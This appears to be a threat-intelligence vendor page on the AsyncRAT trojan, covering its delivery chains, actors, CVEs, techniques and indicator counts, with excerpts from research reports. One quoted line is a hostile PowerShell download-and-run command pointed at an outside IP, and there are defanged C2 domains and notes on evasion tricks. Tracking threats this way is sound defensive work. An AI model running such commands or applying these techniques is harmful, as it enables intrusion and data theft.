Loading malware…
AsyncRAT is an open-source .NET remote access trojan written in C# that provides encrypted remote monitoring and control of compromised Windows systems. Since its public release in 2019, it has been widely adopted by financially motivated cybercrime actors and espionage operators because it is inexpensive to obtain, easy to customize, and frequently bundled with commodity loaders, crypters, and phishing kits. It is commonly clustered with other commodity RATs such as Quasar RAT, DCRat, Remcos, njRAT, RevengeRAT, LodaRAT, XWorm, and AgentTesla in multi-payload campaigns.
AsyncRAT supports persistent remote access and post-compromise control, and observed campaigns associate it with credential theft, keylogging, information theft, plugin or follow-on payload delivery, and encrypted command-and-control over TLS or other protected channels. Public reporting also links AsyncRAT to anti-analysis checks, AMSI bypass attempts, mutex-based single-instance control, scheduled-task or Run-key persistence, hidden execution of scheduled tasks, and process injection or hollowing into legitimate Windows processes to reduce visibility. Some variants use self-signed certificates and certificate pinning for C2 authentication.
Delivery is most often phishing-driven. Documented infection chains include HTML attachments, OneNote files, Office documents with macros or template injection, compressed archives, ISO container files, SVG attachments using HTML smuggling, malicious JavaScript or VBS downloaders, and links hosted on legitimate cloud or file-sharing services. AsyncRAT has also been delivered through cracked-software ecosystems and by malware loaders such as MintsLoader and PrivateLoader. Campaign lures have impersonated legal notices, invoices, reservations, travel itineraries, aviation communications, and other business workflows.
AsyncRAT has been used by multiple threat clusters, including TA558 and activity attributed to Confucius, and has appeared in campaigns targeting hospitality, aviation, manufacturing, government, defense-related organizations, finance, education, healthcare, banking, and other sectors across Latin America, Europe, Asia, and elsewhere. It is also observed on criminal infrastructure that overlaps with illegal streaming, gambling promotion, and cloud tunneling abuse. Its combination of open-source availability, modularity, and broad criminal adoption has made AsyncRAT a persistent fixture in Windows intrusion activity.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Its most consistently used malware payloads included vjw0rm, njRAT, Revenge RAT, Loda, and AsyncRAT.
Threat Actors (TAs) leveraging a Remote Code Execution (RCE) vulnerability, identified as CVE-2023-38831, to deliver their payload on compromised systems... The aforementioned vulnerability allows the WinRAR application to extract and execute the malicious script when a user tries to open a benign file within the archive. | CRIL has recently identified and analyzed a campaign that is actively distributing various types of malware, including Apanyan Stealer, Murk-Stealer, and AsyncRAT.
AsyncRAT ... Exploitation of CVE-2022-30190 (Follina/MSDT “Dogwalk”) for arbitrary code execution ... Xworm ... Exploitation of the Follina vulnerability CVE-2022-30190 via malicious .docx files | AsyncRAT, a widely abused open-source RAT that recorded 275 hits... AsyncRAT is an open-source .NET/C# remote access trojan first published on GitHub...
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally... the malicious RTF attachments exploited vulnerabilities in the Microsoft Equation Editor, specifically CVE-2018-0798, before downloading subsequent payloads.
"...Colombian organizations were reported by Darktrace to have been targeted by Blind Eagle in an attack campaign involving the abuse of the Windows vulnerability, tracked as CVE-2024-43451, that has been ongoing since November."
Google also observed financially motivated actors exploiting the WinRAR path-traversal flaw to distribute commodity remote access tools and information stealers such as XWorm and AsyncRAT...
The authoring agencies have identified the following open source and dual-use tools as used and/or customized by the actors: ▪ AsyncRAT
32 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
No less than 31,000 malware samples, including Quasar RAT, AsyncRAT, DCRat, NanoCore, Remcos RAT, njRAT, and artifacts bearing HiddenTear ransomware signatures, have communicated with Sable Squirrel's infrastructure.
Once an attack succeeds, TA558 deploys multiple types of malware on victim machines — including AsyncRAT, LodaRAT, RevengeRAT, XWorm, and AgentTesla — for remote computer control and information theft.
According to the researcher’s observations, AsyncRAT, NetWire, WSH RAT, and Parallax appears to be the group’s top favorites being pushed most often in malicious messages.
Cisco Talos has observed a new malware campaign delivering commodity RATs, including njRAT and AsyncRAT.
As you can see, there was yet another .dll file, which turned out to be AsyncRAT. Associated C2 domains: Darwin090.gleeze[.]com randall010.camdvr[.]org
28 distinct techniques documented for this family, organized by ATT&CK tactic.
To maintain its foothold, it installs a scheduled task if the payload is running as an administrator.
The file might be different kinds of executables, shortcut (LNK) files, or script files such as HTML application (HTA) or Windows script file (WSF).
Messages contained a OneNote attachment containing an HTA file that calls a PowerShell script to download an executable
oShell.Run "cmd /c powershell Invoke-WebRequest -Uri hxxp[:]3.101.39[.]145/Excel.exe -OutFile $env:tmp\system32.exe
The malicious HTA is simply an escaped JavaScript snippet that, in turn, executes a VBScript (embedded in an HTA) to download and execute the next stage | These XLSM files had VBA macro code that would download the main payload.
After decryption, "Good.xml" is written to the victim's Temp directory, where it is launched using MSBuild.exe.
In order to detonate the payload, an end-user must interact with the OneNote document.
If the user opens the document, they are shown a prompt asking whether fields with references to other files should be updated. | Afterwards, the user is shown another prompt asking whether macros should be enabled or disabled. If the user allows macros, this triggers the infection chain, eventually leading to the execution of the malware payload, AsyncRAT.
To maintain its foothold, it installs a scheduled task if the payload is running as an administrator.
In an attempt to further hinder analysis, this AsyncRAT variant uses multiple .NET obfuscators such as Xenocode, Babel, Yano, DotNetPatcher, CryptoObfuscator, Dotfuscator, SmartAssembly, Goliath, NineRays, and 198 Protector V2.
The nature of malware communications with its C&C server(s) has advanced over time, from using plain non-encrypted channels to using custom and standard symmetric ... and asymmetric ... encryption algorithms and protocols (SSL/TLS) to hinder network inspection of such malicious traffic.
Persistence was achieved through a scheduled task masquerading as a Spotify service.
There are two large arrays that contain: Compressed bytes of AgentTesla; Compressed bytes of a .NET Injector used for process injection... responsible for injecting AgentTesla payload into an instance of “aspnet_compiler.exe”.
After decryption, "Good.xml" is written to the victim's Temp directory, where it is launched using MSBuild.exe.
In this case, the RAT retrieves the manufacturer via the WMI query “Select * from Win32 ComputerSystem” and looks for the strings "VMware" and "VirtualBox”.
The OneNote documents contain embedded files, often hidden behind a graphic that looks like a button.
Agent Tesla has used ProcessWindowStyle.Hidden to hide windows. APT-C-36 has set the ShowWindow property of the Win32_ProcessStartup object to zero to hide PowerShell execution. APT19 used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
The self-signed certificate is stored AES encrypted and base64 encoded in the malware sample
A subset of the streaming domains also function as malware command-and-control (C2), even as they continue to present live streaming content to visitors.
2,205 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Remote access trojan using command-and-control infrastructure tied to expired domains controlled by the tracked threat actor.
Remote access trojan using the expired-domain infrastructure as command-and-control.
Remote access trojan observed communicating with Sable Squirrel infrastructure.
Remote access trojan observed connecting to Sable Squirrel domains used as malware command-and-control.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.